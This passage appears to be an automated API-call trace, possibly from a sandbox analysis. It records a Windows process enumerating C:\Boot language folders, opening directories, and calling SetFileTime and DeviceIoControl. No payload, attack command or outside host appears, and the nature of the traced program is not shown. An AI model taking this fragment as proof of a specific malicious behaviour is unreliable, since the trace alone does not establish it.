ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.879] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85e28 [0034.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9bfc8 [0034.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.879] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.879] GetLastError () returned 0x12 [0034.879] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.879] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.879] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.879] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.879] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.879] GetLastError () returned 0x12 [0034.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.879] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.879] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.879] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0034.880] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.880] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.067] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0035.067] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.067] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.068] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.068] NtClose (Handle=0x180) returned 0x0 [0035.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.068] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.068] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.068] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85e48 [0035.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c050 [0035.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.068] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.068] GetLastError () returned 0x12 [0035.068] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.068] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.068] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.068] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.068] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.068] GetLastError () returned 0x12 [0035.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.069] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.069] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.069] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.069] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0035.069] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.069] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.069] NtClose (Handle=0x148) returned 0x0 [0035.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.069] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.069] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.069] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85e68 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c0d8 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xc0) returned 0xf85990 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ed90) returned 1 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.070] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.070] GetLastError () returned 0x12 [0035.070] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.070] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.070] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.070] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.070] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.070] GetLastError () returned 0x12 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.070] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.070] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.070] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.136] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0035.136] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.136] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.137] NtClose (Handle=0x180) returned 0x0 [0035.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.137] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.137] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.137] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85e88 [0035.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ed90 [0035.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.137] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.137] GetLastError () returned 0x12 [0035.137] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.137] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.137] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.137] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: 